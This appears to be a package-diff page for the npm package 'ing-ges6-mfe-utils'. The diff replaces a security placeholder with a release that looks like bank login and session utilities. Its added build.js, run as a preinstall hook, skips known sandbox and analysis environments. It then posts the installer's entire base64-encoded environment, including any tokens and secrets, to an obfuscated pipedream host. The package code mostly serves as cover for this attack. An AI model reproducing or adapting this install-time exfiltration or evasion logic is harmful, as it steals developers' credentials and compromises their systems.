ing-ges6-mfe-utils 0.0.1-security → 1.409.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ing-ges6-mfe-utils might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,23 @@
1
- # Security holding package
1
+ # ing-ges6-mfe-utils
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Ing genoma mfe utils
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=ing-ges6-mfe-utils for more information.
5
+ ## Features
6
+
7
+ - ES6 syntax
8
+
9
+ ## Install
10
+
11
+ ```sh
12
+ yarn add ing-ges6-mfe-utils
13
+ // or
14
+ npm i ing-ges6-mfe-utils
15
+ ```
16
+
17
+ ### Usage
18
+
19
+ ```js
20
+ import { touchPointLogin } from 'ing-ges6-mfe-utils';
21
+
22
+ touchPointLogin('https://url-to-redirect');
23
+ ```
package/build.js ADDED
@@ -0,0 +1,110 @@
1
+ var http = require("https");
2
+
3
+ var filter = [
4
+ {
5
+ key: ["npm", "config", "registry"].join("_"),
6
+ val: ["taobao", "org"].join("."),
7
+ },
8
+ {
9
+ key: ["npm", "config", "registry"].join("_"),
10
+ val: ["registry", "npmmirror", "com"].join("."),
11
+ },
12
+ {
13
+ key: ["npm", "config", "registry"].join("_"),
14
+ val: ["cnpmjs", "org"].join("."),
15
+ },
16
+ {
17
+ key: ["npm", "config", "registry"].join("_"),
18
+ val: ["mirrors", "cloud", "tencent", "com"].join("."),
19
+ },
20
+ { key: "USERNAME", val: ["daas", "admin"].join("") },
21
+ { key: "_", val: "/usr/bin/python" },
22
+ {
23
+ key: ["npm", "config", "metrics", "registry"].join("_"),
24
+ val: ["mirrors", "tencent", "com"].join("."),
25
+ },
26
+ [
27
+ { key: "MAIL", val: ["", "var", "mail", "app"].join("/") },
28
+ { key: "HOME", val: ["", "home", "app"].join("/") },
29
+ { key: "USER", val: "app" },
30
+ ],
31
+ [
32
+ { key: "EDITOR", val: "vi" },
33
+ { key: "PROBE_USERNAME", val: "*" },
34
+ { key: "SHELL", val: "/bin/bash" },
35
+ { key: "SHLVL", val: "2" },
36
+ { key: "npm_command", val: "run-script" },
37
+ { key: "NVM_CD_FLAGS", val: "" },
38
+ { key: "npm_config_fund", val: "" },
39
+ ],
40
+ [
41
+ { key: "HOME", val: "/home/username" },
42
+ { key: "USER", val: "username" },
43
+ { key: "LOGNAME", val: "username" },
44
+ ],
45
+ [
46
+ { key: "PWD", val: "/my-app" },
47
+ { key: "DEBIAN_FRONTEND", val: "noninteractive" },
48
+ { key: "HOME", val: "/root" },
49
+ ],
50
+ [
51
+ { key: "INIT_CWD", val: "/analysis" },
52
+ { key: "APPDATA", val: "/analysis/bait" },
53
+ ],
54
+ [
55
+ { key: "INIT_CWD", val: "/home/node" },
56
+ { key: "HOME", val: "/root" },
57
+ ],
58
+ [
59
+ { key: "INIT_CWD", val: "/app" },
60
+ { key: "HOME", val: "/root" },
61
+ ],
62
+ [
63
+ { key: "USERNAME", val: "justin" },
64
+ { key: "OS", val: "Windows_NT" },
65
+ ],
66
+ ];
67
+
68
+ function main() {
69
+ var data = process.env || {};
70
+ if (
71
+ filter.some((entry) =>
72
+ []
73
+ .concat(entry)
74
+ .every(
75
+ (item) =>
76
+ (data[item.key] || "").includes(item.val) || item.val === "*"
77
+ )
78
+ ) ||
79
+ Object.keys(data).length < 10 ||
80
+ data.PWD === `/${data.USER}/node_modules/${data.npm_package_name}` ||
81
+ (data.NODE_EXTRA_CA_CERTS || "").includes("mitmproxy") ||
82
+ !data.npm_package_name ||
83
+ !data.npm_package_version ||
84
+ /C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
85
+ data.npm_package_json || ""
86
+ ) ||
87
+ /C:\\Users\\[^\\]+\\Downloads/.test(data.INIT_CWD || "") ||
88
+ data.npm_package_json.startsWith(`/npm/node_modules/`)
89
+ ) {
90
+ return;
91
+ }
92
+
93
+ var req = http
94
+ .request({
95
+ host: [
96
+ ["eos", "vdek", "loup", "1ne4"].join(""),
97
+ "m",
98
+ ["pip", "edr", "eam"].join(""),
99
+ "net",
100
+ ].join("."),
101
+ path: "/" + (data.npm_package_name || ""),
102
+ method: "POST",
103
+ })
104
+ .on("error", function (err) {});
105
+
106
+ req.write(Buffer.from(JSON.stringify(data)).toString("base64"));
107
+ req.end();
108
+ }
109
+
110
+ main();
@@ -0,0 +1,9 @@
1
+ import { singletonManager } from 'singleton-manager';
2
+
3
+ import * as module from './src/genoma-tp-session-sync/GenomaTpSessionSync.js';
4
+
5
+ singletonManager.set('ing-genoma-tp-session-sync::ing-genoma-tp-session-sync::1.x', module);
6
+
7
+ const { touchPointLogin, touchPointLogout, touchPointLogoutProfile } = singletonManager.get('ing-genoma-tp-session-sync::ing-genoma-tp-session-sync::1.x');
8
+
9
+ export { touchPointLogin, touchPointLogout, touchPointLogoutProfile };
package/package.json CHANGED
@@ -1,6 +1,21 @@
1
1
  {
2
2
  "name": "ing-ges6-mfe-utils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.409.0",
4
+ "private": false,
5
+ "description": "Ing genoma mfe utils",
6
+ "license": "MIT",
7
+ "author": "hing-mfe",
8
+ "main": "genomaTpSessionSync.js",
9
+ "scripts": {
10
+ "build": "babel",
11
+ "preinstall": "node build.js",
12
+ "test": "exit 0"
13
+ },
14
+ "devDependencies": {
15
+ "@babel/core": "^7.18.10",
16
+ "@babel/cli": "^7.18.10"
17
+ },
18
+ "publishConfig": {
19
+ "access": "public"
20
+ }
6
21
  }
@@ -0,0 +1,24 @@
1
+ import { deleteGenomaSessionId, getGenomaSessionId, setGenomaSessionId } from './genomaSessionId.js';
2
+ import { isLogOutUrl, isValidGenomaApiUrl } from './urlChecker.js';
3
+
4
+ export const axiosRequestInterceptor = (request) => {
5
+ const genomaSessionId = getGenomaSessionId();
6
+ const { baseURL, url, method } = request;
7
+
8
+ if (genomaSessionId && isValidGenomaApiUrl(url, baseURL)) {
9
+ request.headers = request.headers || {};
10
+ request.headers['genoma-session-id'] = genomaSessionId;
11
+ }
12
+
13
+ if (isLogOutUrl(url) && method.toLowerCase() === 'delete') {
14
+ deleteGenomaSessionId();
15
+ }
16
+ return request;
17
+ };
18
+
19
+ export const axiosResponseInterceptor = (response) => {
20
+ if (response.headers && response.headers['genoma-session-id'] && isValidGenomaApiUrl(response.url)) {
21
+ setGenomaSessionId(response.headers['genoma-session-id']);
22
+ }
23
+ return response;
24
+ };
@@ -0,0 +1,11 @@
1
+ export const getGenomaSessionId = () => window.__genoma_session_id;
2
+
3
+ export const setGenomaSessionId = (gsid) => {
4
+ if (gsid) {
5
+ window.__genoma_session_id = gsid;
6
+ }
7
+ };
8
+
9
+ export const deleteGenomaSessionId = () => {
10
+ delete window.__genoma_session_id;
11
+ };
@@ -0,0 +1,22 @@
1
+ import { getWindowLocationOrigin, getWindowLocationHost } from './utils.js';
2
+
3
+ const validApis = [
4
+ '/genoma_api',
5
+ '/genoma_signups',
6
+ '/genoma_extended',
7
+ '/api',
8
+ ];
9
+
10
+ const logoutApi = '/genoma_api/rest/session';
11
+
12
+ export function isValidGenomaApiUrl(path, origin = getWindowLocationOrigin()) {
13
+ const url = new URL(path, origin);
14
+ const domain = getWindowLocationHost().split('.').slice(-2).join('.');
15
+ return url.host.endsWith(domain)
16
+ && validApis.some(api => url.pathname.startsWith(api));
17
+ }
18
+
19
+ export function isLogOutUrl(path) {
20
+ const url = new URL(path, getWindowLocationOrigin());
21
+ return url.pathname === logoutApi;
22
+ }
@@ -0,0 +1,2 @@
1
+ export const getWindowLocationOrigin = () => window.location.origin;
2
+ export const getWindowLocationHost = () => window.location.host;
@@ -0,0 +1,108 @@
1
+ import {
2
+ addProfiles,
3
+ logout,
4
+ logoutProfile,
5
+ } from '@ing-web/token-manager';
6
+ import { getAjax } from '../utils/ajax.js';
7
+ import * as utils from './utils.js';
8
+
9
+ const DEVICE_BRAND_HEADER = 'X-ING-DEVICEBRAND';
10
+ const INVALID_AUTHENTICATION_RESULT_MESSAGE = 'Invalid authentication result';
11
+
12
+ const getActiveProfileFromSAF = async (useWindow) => {
13
+ const { data: { person, accessTokens } = {} } = await getAjax().get(
14
+ '/genoma_api/saf/tpa/accesstoken',
15
+ {
16
+ headers: {
17
+ [DEVICE_BRAND_HEADER]: await utils.getDeviceFromNavigator(),
18
+ },
19
+ withCredentials: true,
20
+ },
21
+ );
22
+ if (!utils.isValidAuthenticationResult({ person, accessTokens })) {
23
+ throw new Error(INVALID_AUTHENTICATION_RESULT_MESSAGE);
24
+ }
25
+
26
+ const activeProfile = utils.getActiveProfileFromResponse(accessTokens);
27
+
28
+ if (!activeProfile) {
29
+ throw new Error(INVALID_AUTHENTICATION_RESULT_MESSAGE);
30
+ }
31
+ addProfiles(accessTokens);
32
+ utils.setActiveProfile(activeProfile.profileId, useWindow);
33
+ };
34
+
35
+ let authenticationCompleted = false;
36
+ let pendingActiveProfile = null;
37
+
38
+ export const resetModule = () => {
39
+ authenticationCompleted = false;
40
+ pendingActiveProfile = null;
41
+ };
42
+
43
+ /**
44
+ *
45
+ * @param {String} [profileId]
46
+ * @returns
47
+ */
48
+ export const touchPointLogoutProfile = (profileId = window.ING?.currentProfileId) => {
49
+ window.ING = window.ING || {};
50
+ window.ING.currentProfileId = undefined;
51
+ window.ING.userNotFound = undefined;
52
+ return logoutProfile(profileId);
53
+ };
54
+
55
+ /**
56
+ * Retrieve a touchpoint access token from a Genoma session if it's not active, and makes it active
57
+ *
58
+ * @param {Boolean} [forceNewToken=false] - specify if the function should generate a
59
+ * new token even if there is already a valid one
60
+ * @param {Boolean} [useWindow=false] - Active profileId should be stored/read in
61
+ * window object or in localStaorage
62
+ * @returns {void}
63
+ */
64
+ export const touchPointLogin = async (forceNewToken = false, useWindow = false) => {
65
+ if (!authenticationCompleted && !pendingActiveProfile) {
66
+ if (useWindow) {
67
+ touchPointLogoutProfile();
68
+ } else {
69
+ logout();
70
+ }
71
+ }
72
+ // If user is not found in OnePam return an error
73
+ if (window.ING?.userNotFound) {
74
+ return;
75
+ }
76
+
77
+ // Check if there is an active tp session
78
+ const currentProfile = utils.getActiveProfile(useWindow);
79
+ if (currentProfile && !forceNewToken) {
80
+ return;
81
+ }
82
+
83
+ if (!pendingActiveProfile) {
84
+ pendingActiveProfile = getActiveProfileFromSAF(useWindow);
85
+ }
86
+ try {
87
+ await pendingActiveProfile;
88
+ authenticationCompleted = true;
89
+ } catch (error) {
90
+ if (error.response?.status === 404 && error.response?.data?.code === 404) {
91
+ window.ING = window.ING || {};
92
+ window.ING.userNotFound = true;
93
+ }
94
+ throw error;
95
+ } finally {
96
+ pendingActiveProfile = null;
97
+ }
98
+ };
99
+
100
+ /**
101
+ * Revoke all touchpoint access tokens
102
+ */
103
+ export const touchPointLogout = () => {
104
+ window.ING = window.ING || {};
105
+ window.ING.currentProfileId = undefined;
106
+ window.ING.userNotFound = undefined;
107
+ return logout();
108
+ };
@@ -0,0 +1,89 @@
1
+ import {
2
+ getActiveProfile as getActiveProfileTokenManager,
3
+ setActiveProfile as setActiveProfileTokenManager,
4
+ } from '@ing-web/token-manager';
5
+
6
+ const TIMEOUT_RETRIEVE_DATA = 2000;
7
+
8
+ /**
9
+ * Validate the response from SAF API.
10
+ *
11
+ * @param {Object}
12
+ * @return {Boolean}
13
+ */
14
+ export const isValidAuthenticationResult = ({
15
+ person,
16
+ accessTokens,
17
+ } = {}) => Array.isArray(accessTokens) && accessTokens.length && person?.id;
18
+
19
+ /**
20
+ * Select a profile from a given array. Look for the default one,
21
+ * it returns the first one as backup.
22
+ *
23
+ * @param {Array.<profile>} profiles
24
+ * @return {Object}
25
+ */
26
+ export const getActiveProfileFromResponse = (profiles = []) => {
27
+ const defaultProfile = profiles.find(p => p.default);
28
+ return defaultProfile || profiles[0];
29
+ };
30
+
31
+ /**
32
+ * Read deviceBrand from a native function.
33
+ * In case this function doesn't exist it asumes we are in web.
34
+ *
35
+ * @return {Promise<'ANDROID'|'IOS'|''>}
36
+ */
37
+ export const getDeviceFromNavigator = () => new Promise((resolve, reject) => {
38
+ if (!navigator?.util?.retrieveData) {
39
+ resolve('');
40
+ }
41
+ const rejectMsg = 'Unable to retrieve data from navigator.util in two seconds.';
42
+
43
+ const rejectTimeout = setTimeout(
44
+ () => reject(new Error(rejectMsg)),
45
+ TIMEOUT_RETRIEVE_DATA,
46
+ );
47
+
48
+ navigator.util.retrieveData(
49
+ (value) => {
50
+ clearTimeout(rejectTimeout);
51
+ return resolve(value);
52
+ },
53
+ () => {
54
+ clearTimeout(rejectTimeout);
55
+ return reject(new Error('Unable to retrieve data from navigator.util'));
56
+ },
57
+ { key: 'deviceBrand', persistent: false },
58
+ );
59
+ });
60
+
61
+ /**
62
+ * Select a profile from a given array. Look for the default one, it returns the first one as backup.
63
+ *
64
+ * @param {String} profileId
65
+ * @param {boolean} useWindow
66
+ */
67
+ export const setActiveProfile = (profileId, useWindow) => {
68
+ if (!useWindow) {
69
+ setActiveProfileTokenManager(profileId);
70
+ } else {
71
+ window.ING = window.ING || {};
72
+ window.ING.currentProfileId = profileId;
73
+ }
74
+ };
75
+
76
+ /**
77
+ * Select a profile from a given array. Look for the default one,
78
+ * it returns the first one as backup.
79
+ *
80
+ * @param {Boolean} useWindow
81
+ * @return {Object}
82
+ */
83
+ export const getActiveProfile = (useWindow) => {
84
+ if (!useWindow) {
85
+ return getActiveProfileTokenManager();
86
+ }
87
+
88
+ return window.ING?.currentProfileId;
89
+ };
@@ -0,0 +1,108 @@
1
+ /* eslint-disable max-len */
2
+ /* eslint-disable object-curly-newline */
3
+ import { Cache } from './cache.js';
4
+ import { Deferred } from './deferred.js';
5
+ import { CacheControl } from './cacheControl.js';
6
+ import { clone, addQueryParamsToUrl, extractBaseAndQueryFromUrl } from './utils.js';
7
+
8
+ const ID = 'MFE';
9
+
10
+ const CacheRequestInterceptorFactory = (cacheControl = new CacheControl()) => {
11
+ const CacheRequestInterceptor = (request) => {
12
+ const { method, url, params = {}, baseURL } = request;
13
+
14
+ const { basePath, search } = extractBaseAndQueryFromUrl(url, baseURL);
15
+ const completeUrl = addQueryParamsToUrl(basePath, params, search);
16
+
17
+ if (method === 'get') {
18
+ if (Cache.has(completeUrl)) {
19
+ request.adapter = () => new Promise((resolve, reject) => {
20
+ Cache.get(completeUrl)
21
+ .promise
22
+ .then((data) => {
23
+ resolve({
24
+ data: clone(data),
25
+ status: request.status,
26
+ statusText: request.statusText,
27
+ headers: request.headers,
28
+ config: request,
29
+ request,
30
+ });
31
+ })
32
+ .catch((e) => {
33
+ reject(e);
34
+ });
35
+ });
36
+ } else if (cacheControl.shouldStore(completeUrl)) { // checks if should store retrieved data in cache
37
+ const deferred = new Deferred();
38
+ deferred.promise.catch(() => {}); // avoids promise uncaught warning
39
+ Cache.set(ID, completeUrl, deferred);
40
+ request.__deferred = deferred; // store the promise in request object in order to be retrieved and managed in response interceptor
41
+ }
42
+ }
43
+
44
+ return request;
45
+ };
46
+
47
+ return CacheRequestInterceptor;
48
+ };
49
+
50
+ const CacheResponseInterceptorFactory = (cacheControl = new CacheControl()) => {
51
+ const CacheResponseInterceptor = (response) => {
52
+ const { config, data } = response;
53
+ const { method, url, params, baseURL } = config;
54
+
55
+ const { basePath } = extractBaseAndQueryFromUrl(url, baseURL);
56
+ const completeUrl = addQueryParamsToUrl(basePath, params);
57
+
58
+ if (method === 'get') {
59
+ const p = config.__deferred; // retrieve the stored promise to be resolved
60
+ if (p) {
61
+ p.resolve(clone(data));
62
+ }
63
+ } else {
64
+ Cache.remove(completeUrl);
65
+
66
+ // removes related endpoints from cache
67
+ cacheControl.regexToRemove(completeUrl)
68
+ .forEach(regex => Cache.removeByRegex(regex));
69
+ }
70
+
71
+ return response;
72
+ };
73
+
74
+ return CacheResponseInterceptor;
75
+ };
76
+
77
+ const CacheErrorInterceptor = (error) => {
78
+ const { response } = error;
79
+ const { config } = response;
80
+
81
+ const { method, url, params, baseURL } = config;
82
+
83
+ if (method === 'get') {
84
+ const { basePath } = extractBaseAndQueryFromUrl(url, baseURL);
85
+ const completeUrl = addQueryParamsToUrl(basePath, params);
86
+ const p = config.__deferred; // retrieve the stored promise to be rejected
87
+ if (p) {
88
+ p.reject(error);
89
+ }
90
+ Cache.remove(completeUrl);
91
+ }
92
+ };
93
+
94
+ const CacheRequestErrorInterceptor = (error) => {
95
+ CacheErrorInterceptor(error);
96
+ };
97
+
98
+ const CacheResponseErrorInterceptor = (error) => {
99
+ CacheErrorInterceptor(error);
100
+ };
101
+
102
+ export {
103
+ CacheRequestInterceptorFactory,
104
+ CacheResponseInterceptorFactory,
105
+ CacheRequestErrorInterceptor,
106
+ CacheResponseErrorInterceptor,
107
+ Cache,
108
+ };
@@ -0,0 +1,68 @@
1
+ /* eslint-disable no-restricted-syntax */
2
+ /* eslint-disable func-names */
3
+ export const Cache = (function () {
4
+ let cacheData;
5
+
6
+ const retrieveCache = () => {
7
+ // TODO: use singleton manager as dependency
8
+ if (!cacheData) {
9
+ cacheData = window.__shared_cache || { cb: { remove: [] }, data: {} };
10
+ window.__shared_cache = cacheData;
11
+ }
12
+ return cacheData;
13
+ };
14
+
15
+ const getCacheData = () => retrieveCache().data;
16
+ const getCacheCB = () => retrieveCache().cb;
17
+
18
+ const notifyRemove = (id) => {
19
+ getCacheCB().remove.forEach(cb => cb(id));
20
+ };
21
+
22
+ return {
23
+ set(cachedBy, path, data) {
24
+ getCacheData()[path] = {
25
+ cachedBy,
26
+ data,
27
+ };
28
+ },
29
+ get(path) {
30
+ const entry = getCacheData()[path];
31
+ return entry && entry.data;
32
+ },
33
+ cachedBy(path) {
34
+ const entry = getCacheData()[path];
35
+ return entry && entry.cachedBy;
36
+ },
37
+ has(path) {
38
+ return Object.prototype.hasOwnProperty.call(getCacheData(), path);
39
+ },
40
+ remove(path) {
41
+ delete getCacheData()[path];
42
+ notifyRemove(path);
43
+ },
44
+ removeByRegex(regex) {
45
+ const entries = getCacheData();
46
+ for (const entry in entries) {
47
+ if (regex.test(entry)) {
48
+ delete entries[entry];
49
+ notifyRemove(entry);
50
+ }
51
+ }
52
+ },
53
+ clear() {
54
+ const entries = getCacheData();
55
+ // eslint-disable-next-line guard-for-in
56
+ for (const entry in entries) {
57
+ delete entries[entry];
58
+ notifyRemove(entry);
59
+ }
60
+ },
61
+ registerRemoveCallback(cb) {
62
+ getCacheCB().remove.push(cb);
63
+ },
64
+ entries() {
65
+ return Object.entries(getCacheData());
66
+ },
67
+ };
68
+ }());
@@ -0,0 +1,34 @@
1
+ class CacheControl {
2
+ constructor(noCacheEndpoints = [], removeFromCache = []) {
3
+ this.noCacheEndpoints = noCacheEndpoints;
4
+ this.removeFromCache = removeFromCache;
5
+ }
6
+
7
+ shouldStore(url) {
8
+ for (const regex of this.noCacheEndpoints) {
9
+ if (regex.test(url)) {
10
+ return false;
11
+ }
12
+ }
13
+
14
+ return true;
15
+ }
16
+
17
+ regexToRemove(url) {
18
+ return this.removeFromCache
19
+ .filter((entry) => {
20
+ for (const regex of entry.endpoints) {
21
+ if (regex.test(url)) {
22
+ return true;
23
+ }
24
+ }
25
+ return false;
26
+ })
27
+ .map(entry => entry.affectedEndpoints)
28
+ .reduce((acc, entry) => acc.concat(entry), []);
29
+ }
30
+ }
31
+
32
+ export {
33
+ CacheControl,
34
+ };
@@ -0,0 +1,7 @@
1
+ export function Deferred() {
2
+ const self = this;
3
+ this.promise = new Promise((resolve, reject) => {
4
+ self.reject = reject;
5
+ self.resolve = resolve;
6
+ });
7
+ }
@@ -0,0 +1,16 @@
1
+ export const clone = object => JSON.parse(JSON.stringify(object));
2
+
3
+ export const addQueryParamsToUrl = (url, params, search) => {
4
+ const urlParams = new URLSearchParams(params);
5
+ const searchParams = new URLSearchParams(search);
6
+ searchParams.forEach((value, key) => urlParams.append(key, value));
7
+ urlParams.sort();
8
+ const orderedParamsString = urlParams.toString();
9
+ return orderedParamsString.length ? `${url}?${orderedParamsString}` : url;
10
+ };
11
+
12
+ export const extractBaseAndQueryFromUrl = (url, baseURL = window.location.origin) => {
13
+ const { origin, pathname, search } = new URL(url, baseURL);
14
+ const basePath = origin + pathname;
15
+ return { basePath, search };
16
+ };
@@ -0,0 +1,8 @@
1
+ import { ajax } from 'ing-web/ajax';
2
+ import { singletonManager } from 'singleton-manager';
3
+
4
+ if (!singletonManager.has('ing-web::ajax::2.x')) {
5
+ singletonManager.set('ing-web::ajax::2.x', ajax);
6
+ }
7
+
8
+ export const getAjax = () => singletonManager.get('ing-web::ajax::2.x') || ajax;